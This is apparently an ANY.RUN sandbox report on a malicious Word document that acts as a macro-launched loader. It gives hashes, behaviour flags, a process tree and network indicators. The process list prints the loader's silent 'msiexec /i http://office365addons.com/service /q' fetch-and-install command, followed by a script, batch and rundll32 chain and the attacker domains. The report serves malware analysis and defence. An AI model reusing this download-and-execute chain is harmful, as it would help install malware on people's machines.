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File name:

New Doc 2018-12-06 (11).doc

Full analysis: https://app.any.run/tasks/368d2685-4f62-487a-9d99-cc9bca11a41a
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Malware Trends Tracker     >>>
Analysis date: December 18, 2018, 14:47:03
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
exe-to-msi
loader
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1251, Title: 1, Author: 1, Template: Normal.dotm, Last Saved By: 1, Revision Number: 4, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:00, Create Time/Date: Tue Dec 18 13:30:00 2018, Last Saved Time/Date: Tue Dec 18 13:31:00 2018, Number of Pages: 1, Number of Words: 2, Number of Characters: 13, Security: 0
MD5:

ACDFD626D941107C5174515475E4C66F

SHA1:

9375C95B60E3FB1F78F0B295AD2A54851459C53F

SHA256:

DF507558EDC4E8BE5999603DB2FEB1D69D3EAB6AA72B7089B1C2B5E7EE6D146D

SSDEEP:

1536:FyrgDuz4O4wDAVN4Q08WX+7f7kUkMtqYLR1aLQjKFyWl8NQVgiMaNQVWNQVgiiNg:FyrgDuMOlMLTg4R1aLmWyWCNQNlNfN

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Uses Microsoft Installer as loader

      • WINWORD.EXE (PID: 2940)

    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2940)

    • Downloads executable files from the Internet

      • msiexec.exe (PID: 3416)

    • Changes settings of System certificates

      • rundll32.exe (PID: 2912)

  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • msiexec.exe (PID: 3416)
      • MSIB973.tmp (PID: 3476)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 2364)
      • rundll32.exe (PID: 2912)

    • Drop ExeToMSI Application

      • msiexec.exe (PID: 3416)

    • Executes scripts

      • MSIB973.tmp (PID: 3476)

    • Uses RUNDLL32.EXE to load library

      • cmd.exe (PID: 504)

    • Uses WHOAMI.EXE to obtaining logged on user information

      • cmd.exe (PID: 2408)

    • Adds / modifies Windows certificates

      • rundll32.exe (PID: 2912)

  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2940)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2940)

    • Writes to a desktop.ini file (may be used to cloak folders)

      • msiexec.exe (PID: 3416)

    • Starts application with an unusual extension

      • msiexec.exe (PID: 3416)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: 1
Subject: -
Author: 1
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: 1
RevisionNumber: 4
Software: Microsoft Office Word
TotalEditTime: 1.0 minutes
CreateDate: 2018:12:18 13:30:00
ModifyDate: 2018:12:18 13:31:00
Pages: 1
Words: 2
Characters: 13
Security: None
CodePage: Windows Cyrillic
Company: -
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 14
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: 1
HeadingPairs:
  • Название
  • 1
CompObjUserTypeLen: 32
CompObjUserType: ???????? Microsoft Word 97-2003
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
41
Monitored processes
9
Malicious processes
2
Suspicious processes
4

Behavior graph

Click at the process to see the details
start winword.exe no specs msiexec.exe no specs msiexec.exe msib973.tmp wscript.exe no specs cmd.exe no specs rundll32.exe cmd.exe no specs whoami.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2940"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\New Doc 2018-12-06 (11).doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
4040"C:\Windows\System32\msiexec.exe" back=12 error=reboot /i http://office365addons.com/service /q OnLoad="c:\windows\system32\cmd.exe" Aciqy=¶µ±VIks1C:\Windows\System32\msiexec.exe—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows® installer
Exit code:
0
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3416C:\Windows\system32\msiexec.exe /VC:\Windows\system32\msiexec.exe
services.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Windows® installer
Version:
5.0.7600.16385 (win7_rtm.090713-1255)
3476"C:\Windows\Installer\MSIB973.tmp"C:\Windows\Installer\MSIB973.tmp
msiexec.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2364"wscript" "C:\Users\admin\AppData\Local\Temp\sht.vbs"C:\Windows\system32\wscript.exe—MSIB973.tmp
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
504"C:\Windows\System32\cmd.exe" /c C:\Users\admin\AppData\Local\Temp\zxa.batC:\Windows\System32\cmd.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2912rundll32.exe C:\Users\admin\AppData\Local\Temp\helpobj.dat, mainC:\Windows\system32\rundll32.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2408cmd.exe /C whoamiC:\Windows\system32\cmd.exe—rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2852whoamiC:\Windows\system32\whoami.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
whoami - displays logged on user information
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 494
Read events
1 046
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
1
Text files
11
Unknown types
7

Dropped files

PID
Process
Filename
Type
2940WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA711.tmp.cvr —
MD5:—
SHA256:—
2940WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF8318A643B74537A0.TMP —
MD5:—
SHA256:—
2940WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DF477519C784E01007.TMP —
MD5:—
SHA256:—
2940WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~DFBD44920169C198C3.TMP —
MD5:—
SHA256:—
3416msiexec.exeC:\Users\admin\AppData\Local\Temp\~DF588633A48801AD40.TMP —
MD5:—
SHA256:—
3416msiexec.exeC:\Windows\Installer\MSIB8A6.tmp —
MD5:—
SHA256:—
3416msiexec.exeC:\Windows\Installer\MSIB973.tmp —
MD5:—
SHA256:—
3476MSIB973.tmpC:\Users\admin\AppData\Local\Temp\nszBA4D.tmp\System.dll —
MD5:—
SHA256:—
3476MSIB973.tmpC:\Users\admin\AppData\Local\Temp\nstB9DE.tmp —
MD5:—
SHA256:—
3416msiexec.exeC:\Config.Msi\13b849.rbs —
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
4
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3416
msiexec.exe
GET
200
185.17.123.165:80
http://office365addons.com/service
RU
executable
396 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3416
msiexec.exe
185.17.123.165:80
office365addons.com
Leaseweb Deutschland GmbH
RU
malicious
2912
rundll32.exe
37.252.5.139:443
vesecase.com
—
DE
malicious

DNS requests

Domain
IP
Reputation
office365addons.com
  • 185.17.123.165
malicious
vesecase.com
  • 37.252.5.139
malicious

Threats

PID
Process
Class
Message
3416
msiexec.exe
A Network Trojan was detected
SC TROJAN_DOWNLOADER Malicious behavior by evader Trojan.Script.Generic
3416
msiexec.exe
Misc activity
SUSPICIOUS [PTsecurity] Using msiexec.exe for Downloading non-MSI file
3416
msiexec.exe
Potential Corporate Privacy Violation
POLICY [PTsecurity] Executable application_x-msi Download
No debug info
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New Doc 2018-12-06 (11).doc